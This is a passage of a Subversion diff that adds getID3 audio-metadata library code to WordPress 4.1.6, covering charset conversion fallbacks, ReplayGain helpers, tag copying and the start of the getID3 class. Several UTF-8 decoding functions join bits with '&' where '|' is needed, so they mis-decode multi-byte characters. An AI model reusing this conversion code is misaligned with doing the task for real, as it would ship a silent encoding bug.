+		return self::iconv_fallback_iso88591_utf16le($string, true);
+	}
+
+	// UTF-8 => ISO-8859-1
+	public static function iconv_fallback_utf8_iso88591($string) {
+		if (function_exists('utf8_decode')) {
+			return utf8_decode($string);
+		}
+		// utf8_decode() unavailable, use getID3()'s iconv_fallback() conversions (possibly PHP is compiled without XML support)
+		$newcharstring = '';
+		$offset = 0;
+		$stringlength = strlen($string);
+		while ($offset < $stringlength) {
+			if ((ord($string{$offset}) | 0x07) == 0xF7) {
+				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
+				$charval = ((ord($string{($offset + 0)}) & 0x07) << 18) &
+						   ((ord($string{($offset + 1)}) & 0x3F) << 12) &
+						   ((ord($string{($offset + 2)}) & 0x3F) <<  6) &
+							(ord($string{($offset + 3)}) & 0x3F);
+				$offset += 4;
+			} elseif ((ord($string{$offset}) | 0x0F) == 0xEF) {
+				// 1110bbbb 10bbbbbb 10bbbbbb
+				$charval = ((ord($string{($offset + 0)}) & 0x0F) << 12) &
+						   ((ord($string{($offset + 1)}) & 0x3F) <<  6) &
+							(ord($string{($offset + 2)}) & 0x3F);
+				$offset += 3;
+			} elseif ((ord($string{$offset}) | 0x1F) == 0xDF) {
+				// 110bbbbb 10bbbbbb
+				$charval = ((ord($string{($offset + 0)}) & 0x1F) <<  6) &
+							(ord($string{($offset + 1)}) & 0x3F);
+				$offset += 2;
+			} elseif ((ord($string{$offset}) | 0x7F) == 0x7F) {
+				// 0bbbbbbb
+				$charval = ord($string{$offset});
+				$offset += 1;
+			} else {
+				// error? throw some kind of warning here?
+				$charval = false;
+				$offset += 1;
+			}
+			if ($charval !== false) {
+				$newcharstring .= (($charval < 256) ? chr($charval) : '?');
+			}
+		}
+		return $newcharstring;
+	}
+
+	// UTF-8 => UTF-16BE
+	public static function iconv_fallback_utf8_utf16be($string, $bom=false) {
+		$newcharstring = '';
+		if ($bom) {
+			$newcharstring .= "\xFE\xFF";
+		}
+		$offset = 0;
+		$stringlength = strlen($string);
+		while ($offset < $stringlength) {
+			if ((ord($string{$offset}) | 0x07) == 0xF7) {
+				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
+				$charval = ((ord($string{($offset + 0)}) & 0x07) << 18) &
+						   ((ord($string{($offset + 1)}) & 0x3F) << 12) &
+						   ((ord($string{($offset + 2)}) & 0x3F) <<  6) &
+							(ord($string{($offset + 3)}) & 0x3F);
+				$offset += 4;
+			} elseif ((ord($string{$offset}) | 0x0F) == 0xEF) {
+				// 1110bbbb 10bbbbbb 10bbbbbb
+				$charval = ((ord($string{($offset + 0)}) & 0x0F) << 12) &
+						   ((ord($string{($offset + 1)}) & 0x3F) <<  6) &
+							(ord($string{($offset + 2)}) & 0x3F);
+				$offset += 3;
+			} elseif ((ord($string{$offset}) | 0x1F) == 0xDF) {
+				// 110bbbbb 10bbbbbb
+				$charval = ((ord($string{($offset + 0)}) & 0x1F) <<  6) &
+							(ord($string{($offset + 1)}) & 0x3F);
+				$offset += 2;
+			} elseif ((ord($string{$offset}) | 0x7F) == 0x7F) {
+				// 0bbbbbbb
+				$charval = ord($string{$offset});
+				$offset += 1;
+			} else {
+				// error? throw some kind of warning here?
+				$charval = false;
+				$offset += 1;
+			}
+			if ($charval !== false) {
+				$newcharstring .= (($charval < 65536) ? self::BigEndian2String($charval, 2) : "\x00".'?');
+			}
+		}
+		return $newcharstring;
+	}
+
+	// UTF-8 => UTF-16LE
+	public static function iconv_fallback_utf8_utf16le($string, $bom=false) {
+		$newcharstring = '';
+		if ($bom) {
+			$newcharstring .= "\xFF\xFE";
+		}
+		$offset = 0;
+		$stringlength = strlen($string);
+		while ($offset < $stringlength) {
+			if ((ord($string{$offset}) | 0x07) == 0xF7) {
+				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
+				$charval = ((ord($string{($offset + 0)}) & 0x07) << 18) &
+						   ((ord($string{($offset + 1)}) & 0x3F) << 12) &
+						   ((ord($string{($offset + 2)}) & 0x3F) <<  6) &
+							(ord($string{($offset + 3)}) & 0x3F);
+				$offset += 4;
+			} elseif ((ord($string{$offset}) | 0x0F) == 0xEF) {
+				// 1110bbbb 10bbbbbb 10bbbbbb
+				$charval = ((ord($string{($offset + 0)}) & 0x0F) << 12) &
+						   ((ord($string{($offset + 1)}) & 0x3F) <<  6) &
+							(ord($string{($offset + 2)}) & 0x3F);
+				$offset += 3;
+			} elseif ((ord($string{$offset}) | 0x1F) == 0xDF) {
+				// 110bbbbb 10bbbbbb
+				$charval = ((ord($string{($offset + 0)}) & 0x1F) <<  6) &
+							(ord($string{($offset + 1)}) & 0x3F);
+				$offset += 2;
+			} elseif ((ord($string{$offset}) | 0x7F) == 0x7F) {
+				// 0bbbbbbb
+				$charval = ord($string{$offset});
+				$offset += 1;
+			} else {
+				// error? maybe throw some warning here?
+				$charval = false;
+				$offset += 1;
+			}
+			if ($charval !== false) {
+				$newcharstring .= (($charval < 65536) ? self::LittleEndian2String($charval, 2) : '?'."\x00");
+			}
+		}
+		return $newcharstring;
+	}
+
+	// UTF-8 => UTF-16LE (BOM)
+	public static function iconv_fallback_utf8_utf16($string) {
+		return self::iconv_fallback_utf8_utf16le($string, true);
+	}
+
+	// UTF-16BE => UTF-8
+	public static function iconv_fallback_utf16be_utf8($string) {
+		if (substr($string, 0, 2) == "\xFE\xFF") {
+			// strip BOM
+			$string = substr($string, 2);
+		}
+		$newcharstring = '';
+		for ($i = 0; $i < strlen($string); $i += 2) {
+			$charval = self::BigEndian2Int(substr($string, $i, 2));
+			$newcharstring .= self::iconv_fallback_int_utf8($charval);
+		}
+		return $newcharstring;
+	}
+
+	// UTF-16LE => UTF-8
+	public static function iconv_fallback_utf16le_utf8($string) {
+		if (substr($string, 0, 2) == "\xFF\xFE") {
+			// strip BOM
+			$string = substr($string, 2);
+		}
+		$newcharstring = '';
+		for ($i = 0; $i < strlen($string); $i += 2) {
+			$charval = self::LittleEndian2Int(substr($string, $i, 2));
+			$newcharstring .= self::iconv_fallback_int_utf8($charval);
+		}
+		return $newcharstring;
+	}
+
+	// UTF-16BE => ISO-8859-1
+	public static function iconv_fallback_utf16be_iso88591($string) {
+		if (substr($string, 0, 2) == "\xFE\xFF") {
+			// strip BOM
+			$string = substr($string, 2);
+		}
+		$newcharstring = '';
+		for ($i = 0; $i < strlen($string); $i += 2) {
+			$charval = self::BigEndian2Int(substr($string, $i, 2));
+			$newcharstring .= (($charval < 256) ? chr($charval) : '?');
+		}
+		return $newcharstring;
+	}
+
+	// UTF-16LE => ISO-8859-1
+	public static function iconv_fallback_utf16le_iso88591($string) {
+		if (substr($string, 0, 2) == "\xFF\xFE") {
+			// strip BOM
+			$string = substr($string, 2);
+		}
+		$newcharstring = '';
+		for ($i = 0; $i < strlen($string); $i += 2) {
+			$charval = self::LittleEndian2Int(substr($string, $i, 2));
+			$newcharstring .= (($charval < 256) ? chr($charval) : '?');
+		}
+		return $newcharstring;
+	}
+
+	// UTF-16 (BOM) => ISO-8859-1
+	public static function iconv_fallback_utf16_iso88591($string) {
+		$bom = substr($string, 0, 2);
+		if ($bom == "\xFE\xFF") {
+			return self::iconv_fallback_utf16be_iso88591(substr($string, 2));
+		} elseif ($bom == "\xFF\xFE") {
+			return self::iconv_fallback_utf16le_iso88591(substr($string, 2));
+		}
+		return $string;
+	}
+
+	// UTF-16 (BOM) => UTF-8
+	public static function iconv_fallback_utf16_utf8($string) {
+		$bom = substr($string, 0, 2);
+		if ($bom == "\xFE\xFF") {
+			return self::iconv_fallback_utf16be_utf8(substr($string, 2));
+		} elseif ($bom == "\xFF\xFE") {
+			return self::iconv_fallback_utf16le_utf8(substr($string, 2));
+		}
+		return $string;
+	}
+
+	public static function iconv_fallback($in_charset, $out_charset, $string) {
+
+		if ($in_charset == $out_charset) {
+			return $string;
+		}
+
+		// iconv() availble
+		if (function_exists('iconv')) {
+			if ($converted_string = @iconv($in_charset, $out_charset.'//TRANSLIT', $string)) {
+				switch ($out_charset) {
+					case 'ISO-8859-1':
+						$converted_string = rtrim($converted_string, "\x00");
+						break;
+				}
+				return $converted_string;
+			}
+
+			// iconv() may sometimes fail with "illegal character in input string" error message
+			// and return an empty string, but returning the unconverted string is more useful
+			return $string;
+		}
+
+
+		// iconv() not available
+		static $ConversionFunctionList = array();
+		if (empty($ConversionFunctionList)) {
+			$ConversionFunctionList['ISO-8859-1']['UTF-8']    = 'iconv_fallback_iso88591_utf8';
+			$ConversionFunctionList['ISO-8859-1']['UTF-16']   = 'iconv_fallback_iso88591_utf16';
+			$ConversionFunctionList['ISO-8859-1']['UTF-16BE'] = 'iconv_fallback_iso88591_utf16be';
+			$ConversionFunctionList['ISO-8859-1']['UTF-16LE'] = 'iconv_fallback_iso88591_utf16le';
+			$ConversionFunctionList['UTF-8']['ISO-8859-1']    = 'iconv_fallback_utf8_iso88591';
+			$ConversionFunctionList['UTF-8']['UTF-16']        = 'iconv_fallback_utf8_utf16';
+			$ConversionFunctionList['UTF-8']['UTF-16BE']      = 'iconv_fallback_utf8_utf16be';
+			$ConversionFunctionList['UTF-8']['UTF-16LE']      = 'iconv_fallback_utf8_utf16le';
+			$ConversionFunctionList['UTF-16']['ISO-8859-1']   = 'iconv_fallback_utf16_iso88591';
+			$ConversionFunctionList['UTF-16']['UTF-8']        = 'iconv_fallback_utf16_utf8';
+			$ConversionFunctionList['UTF-16LE']['ISO-8859-1'] = 'iconv_fallback_utf16le_iso88591';
+			$ConversionFunctionList['UTF-16LE']['UTF-8']      = 'iconv_fallback_utf16le_utf8';
+			$ConversionFunctionList['UTF-16BE']['ISO-8859-1'] = 'iconv_fallback_utf16be_iso88591';
+			$ConversionFunctionList['UTF-16BE']['UTF-8']      = 'iconv_fallback_utf16be_utf8';
+		}
+		if (isset($ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)])) {
+			$ConversionFunction = $ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)];
+			return self::$ConversionFunction($string);
+		}
+		throw new Exception('PHP does not have iconv() support - cannot convert from '.$in_charset.' to '.$out_charset);
+	}
+
+	public static function recursiveMultiByteCharString2HTML($data, $charset='ISO-8859-1') {
+		if (is_string($data)) {
+			return self::MultiByteCharString2HTML($data, $charset);
+		} elseif (is_array($data)) {
+			$return_data = array();
+			foreach ($data as $key => $value) {
+				$return_data[$key] = self::recursiveMultiByteCharString2HTML($value, $charset);
+			}
+			return $return_data;
+		}
+		// integer, float, objects, resources, etc
+		return $data;
+	}
+
+	public static function MultiByteCharString2HTML($string, $charset='ISO-8859-1') {
+		$string = (string) $string; // in case trying to pass a numeric (float, int) string, would otherwise return an empty string
+		$HTMLstring = '';
+
+		switch ($charset) {
+			case '1251':
+			case '1252':
+			case '866':
+			case '932':
+			case '936':
+			case '950':
+			case 'BIG5':
+			case 'BIG5-HKSCS':
+			case 'cp1251':
+			case 'cp1252':
+			case 'cp866':
+			case 'EUC-JP':
+			case 'EUCJP':
+			case 'GB2312':
+			case 'ibm866':
+			case 'ISO-8859-1':
+			case 'ISO-8859-15':
+			case 'ISO8859-1':
+			case 'ISO8859-15':
+			case 'KOI8-R':
+			case 'koi8-ru':
+			case 'koi8r':
+			case 'Shift_JIS':
+			case 'SJIS':
+			case 'win-1251':
+			case 'Windows-1251':
+			case 'Windows-1252':
+				$HTMLstring = htmlentities($string, ENT_COMPAT, $charset);
+				break;
+
+			case 'UTF-8':
+				$strlen = strlen($string);
+				for ($i = 0; $i < $strlen; $i++) {
+					$char_ord_val = ord($string{$i});
+					$charval = 0;
+					if ($char_ord_val < 0x80) {
+						$charval = $char_ord_val;
+					} elseif ((($char_ord_val & 0xF0) >> 4) == 0x0F  &&  $i+3 < $strlen) {
+						$charval  = (($char_ord_val & 0x07) << 18);
+						$charval += ((ord($string{++$i}) & 0x3F) << 12);
+						$charval += ((ord($string{++$i}) & 0x3F) << 6);
+						$charval +=  (ord($string{++$i}) & 0x3F);
+					} elseif ((($char_ord_val & 0xE0) >> 5) == 0x07  &&  $i+2 < $strlen) {
+						$charval  = (($char_ord_val & 0x0F) << 12);
+						$charval += ((ord($string{++$i}) & 0x3F) << 6);
+						$charval +=  (ord($string{++$i}) & 0x3F);
+					} elseif ((($char_ord_val & 0xC0) >> 6) == 0x03  &&  $i+1 < $strlen) {
+						$charval  = (($char_ord_val & 0x1F) << 6);
+						$charval += (ord($string{++$i}) & 0x3F);
+					}
+					if (($charval >= 32) && ($charval <= 127)) {
+						$HTMLstring .= htmlentities(chr($charval));
+					} else {
+						$HTMLstring .= '&#'.$charval.';';
+					}
+				}
+				break;
+
+			case 'UTF-16LE':
+				for ($i = 0; $i < strlen($string); $i += 2) {
+					$charval = self::LittleEndian2Int(substr($string, $i, 2));
+					if (($charval >= 32) && ($charval <= 127)) {
+						$HTMLstring .= chr($charval);
+					} else {
+						$HTMLstring .= '&#'.$charval.';';
+					}
+				}
+				break;
+
+			case 'UTF-16BE':
+				for ($i = 0; $i < strlen($string); $i += 2) {
+					$charval = self::BigEndian2Int(substr($string, $i, 2));
+					if (($charval >= 32) && ($charval <= 127)) {
+						$HTMLstring .= chr($charval);
+					} else {
+						$HTMLstring .= '&#'.$charval.';';
+					}
+				}
+				break;
+
+			default:
+				$HTMLstring = 'ERROR: Character set "'.$charset.'" not supported in MultiByteCharString2HTML()';
+				break;
+		}
+		return $HTMLstring;
+	}
+
+
+
+	public static function RGADnameLookup($namecode) {
+		static $RGADname = array();
+		if (empty($RGADname)) {
+			$RGADname[0] = 'not set';
+			$RGADname[1] = 'Track Gain Adjustment';
+			$RGADname[2] = 'Album Gain Adjustment';
+		}
+
+		return (isset($RGADname[$namecode]) ? $RGADname[$namecode] : '');
+	}
+
+
+	public static function RGADoriginatorLookup($originatorcode) {
+		static $RGADoriginator = array();
+		if (empty($RGADoriginator)) {
+			$RGADoriginator[0] = 'unspecified';
+			$RGADoriginator[1] = 'pre-set by artist/producer/mastering engineer';
+			$RGADoriginator[2] = 'set by user';
+			$RGADoriginator[3] = 'determined automatically';
+		}
+
+		return (isset($RGADoriginator[$originatorcode]) ? $RGADoriginator[$originatorcode] : '');
+	}
+
+
+	public static function RGADadjustmentLookup($rawadjustment, $signbit) {
+		$adjustment = $rawadjustment / 10;
+		if ($signbit == 1) {
+			$adjustment *= -1;
+		}
+		return (float) $adjustment;
+	}
+
+
+	public static function RGADgainString($namecode, $originatorcode, $replaygain) {
+		if ($replaygain < 0) {
+			$signbit = '1';
+		} else {
+			$signbit = '0';
+		}
+		$storedreplaygain = intval(round($replaygain * 10));
+		$gainstring  = str_pad(decbin($namecode), 3, '0', STR_PAD_LEFT);
+		$gainstring .= str_pad(decbin($originatorcode), 3, '0', STR_PAD_LEFT);
+		$gainstring .= $signbit;
+		$gainstring .= str_pad(decbin($storedreplaygain), 9, '0', STR_PAD_LEFT);
+
+		return $gainstring;
+	}
+
+	public static function RGADamplitude2dB($amplitude) {
+		return 20 * log10($amplitude);
+	}
+
+
+	public static function GetDataImageSize($imgData, &$imageinfo=array()) {
+		static $tempdir = '';
+		if (empty($tempdir)) {
+			// yes this is ugly, feel free to suggest a better way
+			require_once(dirname(__FILE__).'/getid3.php');
+			$getid3_temp = new getID3();
+			$tempdir = $getid3_temp->tempdir;
+			unset($getid3_temp);
+		}
+		$GetDataImageSize = false;
+		if ($tempfilename = tempnam($tempdir, 'gI3')) {
+			if (is_writable($tempfilename) && is_file($tempfilename) && ($tmp = fopen($tempfilename, 'wb'))) {
+				fwrite($tmp, $imgData);
+				fclose($tmp);
+				$GetDataImageSize = @getimagesize($tempfilename, $imageinfo);
+			}
+			unlink($tempfilename);
+		}
+		return $GetDataImageSize;
+	}
+
+	public static function ImageExtFromMime($mime_type) {
+		// temporary way, works OK for now, but should be reworked in the future
+		return str_replace(array('image/', 'x-', 'jpeg'), array('', '', 'jpg'), $mime_type);
+	}
+
+	public static function ImageTypesLookup($imagetypeid) {
+		static $ImageTypesLookup = array();
+		if (empty($ImageTypesLookup)) {
+			$ImageTypesLookup[1]  = 'gif';
+			$ImageTypesLookup[2]  = 'jpeg';
+			$ImageTypesLookup[3]  = 'png';
+			$ImageTypesLookup[4]  = 'swf';
+			$ImageTypesLookup[5]  = 'psd';
+			$ImageTypesLookup[6]  = 'bmp';
+			$ImageTypesLookup[7]  = 'tiff (little-endian)';
+			$ImageTypesLookup[8]  = 'tiff (big-endian)';
+			$ImageTypesLookup[9]  = 'jpc';
+			$ImageTypesLookup[10] = 'jp2';
+			$ImageTypesLookup[11] = 'jpx';
+			$ImageTypesLookup[12] = 'jb2';
+			$ImageTypesLookup[13] = 'swc';
+			$ImageTypesLookup[14] = 'iff';
+		}
+		return (isset($ImageTypesLookup[$imagetypeid]) ? $ImageTypesLookup[$imagetypeid] : '');
+	}
+
+	public static function CopyTagsToComments(&$ThisFileInfo) {
+
+		// Copy all entries from ['tags'] into common ['comments']
+		if (!empty($ThisFileInfo['tags'])) {
+			foreach ($ThisFileInfo['tags'] as $tagtype => $tagarray) {
+				foreach ($tagarray as $tagname => $tagdata) {
+					foreach ($tagdata as $key => $value) {
+						if (!empty($value)) {
+							if (empty($ThisFileInfo['comments'][$tagname])) {
+
+								// fall through and append value
+
+							} elseif ($tagtype == 'id3v1') {
+
+								$newvaluelength = strlen(trim($value));
+								foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) {
+									$oldvaluelength = strlen(trim($existingvalue));
+									if (($newvaluelength <= $oldvaluelength) && (substr($existingvalue, 0, $newvaluelength) == trim($value))) {
+										// new value is identical but shorter-than (or equal-length to) one already in comments - skip
+										break 2;
+									}
+								}
+
+							} elseif (!is_array($value)) {
+
+								$newvaluelength = strlen(trim($value));
+								foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) {
+									$oldvaluelength = strlen(trim($existingvalue));
+									if ((strlen($existingvalue) > 10) && ($newvaluelength > $oldvaluelength) && (substr(trim($value), 0, strlen($existingvalue)) == $existingvalue)) {
+										$ThisFileInfo['comments'][$tagname][$existingkey] = trim($value);
+										//break 2;
+										break;
+									}
+								}
+
+							}
+							if (is_array($value) || empty($ThisFileInfo['comments'][$tagname]) || !in_array(trim($value), $ThisFileInfo['comments'][$tagname])) {
+								$value = (is_string($value) ? trim($value) : $value);
+								if (!is_numeric($key)) {
+									$ThisFileInfo['comments'][$tagname][$key] = $value;
+								} else {
+									$ThisFileInfo['comments'][$tagname][]     = $value;
+								}
+							}
+						}
+					}
+				}
+			}
+
+			// Copy to ['comments_html']
+			if (!empty($ThisFileInfo['comments'])) {
+				foreach ($ThisFileInfo['comments'] as $field => $values) {
+					if ($field == 'picture') {
+						// pictures can take up a lot of space, and we don't need multiple copies of them
+						// let there be a single copy in [comments][picture], and not elsewhere
+						continue;
+					}
+					foreach ($values as $index => $value) {
+						if (is_array($value)) {
+							$ThisFileInfo['comments_html'][$field][$index] = $value;
+						} else {
+							$ThisFileInfo['comments_html'][$field][$index] = str_replace('&#0;', '', self::MultiByteCharString2HTML($value, $ThisFileInfo['encoding']));
+						}
+					}
+				}
+			}
+
+		}
+		return true;
+	}
+
+
+	public static function EmbeddedLookup($key, $begin, $end, $file, $name) {
+
+		// Cached
+		static $cache;
+		if (isset($cache[$file][$name])) {
+			return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : '');
+		}
+
+		// Init
+		$keylength  = strlen($key);
+		$line_count = $end - $begin - 7;
+
+		// Open php file
+		$fp = fopen($file, 'r');
+
+		// Discard $begin lines
+		for ($i = 0; $i < ($begin + 3); $i++) {
+			fgets($fp, 1024);
+		}
+
+		// Loop thru line
+		while (0 < $line_count--) {
+
+			// Read line
+			$line = ltrim(fgets($fp, 1024), "\t ");
+
+			// METHOD A: only cache the matching key - less memory but slower on next lookup of not-previously-looked-up key
+			//$keycheck = substr($line, 0, $keylength);
+			//if ($key == $keycheck)  {
+			//	$cache[$file][$name][$keycheck] = substr($line, $keylength + 1);
+			//	break;
+			//}
+
+			// METHOD B: cache all keys in this lookup - more memory but faster on next lookup of not-previously-looked-up key
+			//$cache[$file][$name][substr($line, 0, $keylength)] = trim(substr($line, $keylength + 1));
+			$explodedLine = explode("\t", $line, 2);
+			$ThisKey   = (isset($explodedLine[0]) ? $explodedLine[0] : '');
+			$ThisValue = (isset($explodedLine[1]) ? $explodedLine[1] : '');
+			$cache[$file][$name][$ThisKey] = trim($ThisValue);
+		}
+
+		// Close and return
+		fclose($fp);
+		return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : '');
+	}
+
+	public static function IncludeDependency($filename, $sourcefile, $DieOnFailure=false) {
+		global $GETID3_ERRORARRAY;
+
+		if (file_exists($filename)) {
+			if (include_once($filename)) {
+				return true;
+			} else {
+				$diemessage = basename($sourcefile).' depends on '.$filename.', which has errors';
+			}
+		} else {
+			$diemessage = basename($sourcefile).' depends on '.$filename.', which is missing';
+		}
+		if ($DieOnFailure) {
+			throw new Exception($diemessage);
+		} else {
+			$GETID3_ERRORARRAY[] = $diemessage;
+		}
+		return false;
+	}
+
+	public static function trimNullByte($string) {
+		return trim($string, "\x00");
+	}
+
+	public static function getFileSizeSyscall($path) {
+		$filesize = false;
+
+		if (GETID3_OS_ISWINDOWS) {
+			if (class_exists('COM')) { // From PHP 5.3.15 and 5.4.5, COM and DOTNET is no longer built into the php core.you have to add COM support in php.ini:
+				$filesystem = new COM('Scripting.FileSystemObject');
+				$file = $filesystem->GetFile($path);
+				$filesize = $file->Size();
+				unset($filesystem, $file);
+			} else {
+				$commandline = 'for %I in ('.escapeshellarg($path).') do @echo %~zI';
+			}
+		} else {
+			$commandline = 'ls -l '.escapeshellarg($path).' | awk \'{print $5}\'';
+		}
+		if (isset($commandline)) {
+			$output = trim(`$commandline`);
+			if (ctype_digit($output)) {
+				$filesize = (float) $output;
+			}
+		}
+		return $filesize;
+	}
+
+
+	/**
+	* Workaround for Bug #37268 (https://bugs.php.net/bug.php?id=37268)
+	* @param string $path A path.
+	* @param string $suffix If the name component ends in suffix this will also be cut off.
+	* @return string
+	*/
+	public static function mb_basename($path, $suffix = null) {
+		$splited = preg_split('#/#', rtrim($path, '/ '));
+		return substr(basename('X'.$splited[count($splited) - 1], $suffix), 1);
+	}
+
+}
Index: /tags/4.1.6/src/wp-includes/ID3/getid3.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/getid3.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/getid3.php	(revision 33402)
@@ -0,0 +1,1796 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// Please see readme.txt for more information                  //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+// define a constant rather than looking up every time it is needed
+if (!defined('GETID3_OS_ISWINDOWS')) {
+	define('GETID3_OS_ISWINDOWS', (stripos(PHP_OS, 'WIN') === 0));
+}
+// Get base path of getID3() - ONCE
+if (!defined('GETID3_INCLUDEPATH')) {
+	define('GETID3_INCLUDEPATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
+}
+// Workaround Bug #39923 (https://bugs.php.net/bug.php?id=39923)
+if (!defined('IMG_JPG') && defined('IMAGETYPE_JPEG')) {
+	define('IMG_JPG', IMAGETYPE_JPEG);
+}
+
+// attempt to define temp dir as something flexible but reliable
+$temp_dir = ini_get('upload_tmp_dir');
+if ($temp_dir && (!is_dir($temp_dir) || !is_readable($temp_dir))) {
+	$temp_dir = '';
+}
+if (!$temp_dir) {
+	// sys_get_temp_dir() may give inaccessible temp dir, e.g. with open_basedir on virtual hosts
+	$temp_dir = sys_get_temp_dir();
+}
+$temp_dir = @realpath($temp_dir); // see https://github.com/JamesHeinrich/getID3/pull/10
+$open_basedir = ini_get('open_basedir');
+if ($open_basedir) {
+	// e.g. "/var/www/vhosts/getid3.org/httpdocs/:/tmp/"
+	$temp_dir     = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $temp_dir);
+	$open_basedir = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $open_basedir);
+	if (substr($temp_dir, -1, 1) != DIRECTORY_SEPARATOR) {
+		$temp_dir .= DIRECTORY_SEPARATOR;
+	}
+	$found_valid_tempdir = false;
+	$open_basedirs = explode(PATH_SEPARATOR, $open_basedir);
+	foreach ($open_basedirs as $basedir) {
+		if (substr($basedir, -1, 1) != DIRECTORY_SEPARATOR) {
+			$basedir .= DIRECTORY_SEPARATOR;
+		}
+		if (preg_match('#^'.preg_quote($basedir).'#', $temp_dir)) {
+			$found_valid_tempdir = true;
+			break;
+		}
+	}
+	if (!$found_valid_tempdir) {
+		$temp_dir = '';
+	}
+	unset($open_basedirs, $found_valid_tempdir, $basedir);
+}
+if (!$temp_dir) {
+	$temp_dir = '*'; // invalid directory name should force tempnam() to use system default temp dir
+}
+// $temp_dir = '/something/else/';  // feel free to override temp dir here if it works better for your system
+if (!defined('GETID3_TEMP_DIR')) {
+	define('GETID3_TEMP_DIR', $temp_dir);
+}
+unset($open_basedir, $temp_dir);
+
+// End: Defines
+
+
+class getID3
+{
+	// public: Settings
+	public $encoding        = 'UTF-8';        // CASE SENSITIVE! - i.e. (must be supported by iconv()). Examples:  ISO-8859-1  UTF-8  UTF-16  UTF-16BE
+	public $encoding_id3v1  = 'ISO-8859-1';   // Should always be 'ISO-8859-1', but some tags may be written in other encodings such as 'EUC-CN' or 'CP1252'
+
+	// public: Optional tag checks - disable for speed.
+	public $option_tag_id3v1         = true;  // Read and process ID3v1 tags
+	public $option_tag_id3v2         = true;  // Read and process ID3v2 tags
+	public $option_tag_lyrics3       = true;  // Read and process Lyrics3 tags
+	public $option_tag_apetag        = true;  // Read and process APE tags
+	public $option_tags_process      = true;  // Copy tags to root key 'tags' and encode to $this->encoding
+	public $option_tags_html         = true;  // Copy tags to root key 'tags_html' properly translated from various encodings to HTML entities
+
+	// public: Optional tag/comment calucations
+	public $option_extra_info        = true;  // Calculate additional info such as bitrate, channelmode etc
+
+	// public: Optional handling of embedded attachments (e.g. images)
+	public $option_save_attachments  = true; // defaults to true (ATTACHMENTS_INLINE) for backward compatibility
+
+	// public: Optional calculations
+	public $option_md5_data          = false; // Get MD5 sum of data part - slow
+	public $option_md5_data_source   = false; // Use MD5 of source file if availble - only FLAC and OptimFROG
+	public $option_sha1_data         = false; // Get SHA1 sum of data part - slow
+	public $option_max_2gb_check     = null;  // Check whether file is larger than 2GB and thus not supported by 32-bit PHP (null: auto-detect based on PHP_INT_MAX)
+
+	// public: Read buffer size in bytes
+	public $option_fread_buffer_size = 32768;
+
+	// Public variables
+	public $filename;                         // Filename of file being analysed.
+	public $fp;                               // Filepointer to file being analysed.
+	public $info;                             // Result array.
+	public $tempdir = GETID3_TEMP_DIR;
+	public $memory_limit = 0;
+
+	// Protected variables
+	protected $startup_error   = '';
+	protected $startup_warning = '';
+
+	const VERSION           = '1.9.8-20140511';
+	const FREAD_BUFFER_SIZE = 32768;
+
+	const ATTACHMENTS_NONE   = false;
+	const ATTACHMENTS_INLINE = true;
+
+	// public: constructor
+	public function __construct() {
+
+		// Check memory
+		$this->memory_limit = ini_get('memory_limit');
+		if (preg_match('#([0-9]+)M#i', $this->memory_limit, $matches)) {
+			// could be stored as "16M" rather than 16777216 for example
+			$this->memory_limit = $matches[1] * 1048576;
+		} elseif (preg_match('#([0-9]+)G#i', $this->memory_limit, $matches)) { // The 'G' modifier is available since PHP 5.1.0
+			// could be stored as "2G" rather than 2147483648 for example
+			$this->memory_limit = $matches[1] * 1073741824;
+		}
+		if ($this->memory_limit <= 0) {
+			// memory limits probably disabled
+		} elseif ($this->memory_limit <= 4194304) {
+			$this->startup_error .= 'PHP has less than 4MB available memory and will very likely run out. Increase memory_limit in php.ini';
+		} elseif ($this->memory_limit <= 12582912) {
+			$this->startup_warning .= 'PHP has less than 12MB available memory and might run out if all modules are loaded. Increase memory_limit in php.ini';
+		}
+
+		// Check safe_mode off
+		if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) {
+			$this->warning('WARNING: Safe mode is on, shorten support disabled, md5data/sha1data for ogg vorbis disabled, ogg vorbos/flac tag writing disabled.');
+		}
+
+		if (intval(ini_get('mbstring.func_overload')) > 0) {
+			$this->warning('WARNING: php.ini contains "mbstring.func_overload = '.ini_get('mbstring.func_overload').'", this may break things.');
+		}
+
+		// Check for magic_quotes_runtime
+		if (function_exists('get_magic_quotes_runtime')) {
+			if (get_magic_quotes_runtime()) {
+				return $this->startup_error('magic_quotes_runtime must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_runtime(0) and set_magic_quotes_runtime(1).');
+			}
+		}
+
+		// Check for magic_quotes_gpc
+		if (function_exists('magic_quotes_gpc')) {
+			if (get_magic_quotes_gpc()) {
+				return $this->startup_error('magic_quotes_gpc must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_gpc(0) and set_magic_quotes_gpc(1).');
+			}
+		}
+
+		// Load support library
+		if (!include_once(GETID3_INCLUDEPATH.'getid3.lib.php')) {
+			$this->startup_error .= 'getid3.lib.php is missing or corrupt';
+		}
+
+		if ($this->option_max_2gb_check === null) {
+			$this->option_max_2gb_check = (PHP_INT_MAX <= 2147483647);
+		}
+
+
+		// Needed for Windows only:
+		// Define locations of helper applications for Shorten, VorbisComment, MetaFLAC
+		//   as well as other helper functions such as head, tail, md5sum, etc
+		// This path cannot contain spaces, but the below code will attempt to get the
+		//   8.3-equivalent path automatically
+		// IMPORTANT: This path must include the trailing slash
+		if (GETID3_OS_ISWINDOWS && !defined('GETID3_HELPERAPPSDIR')) {
+
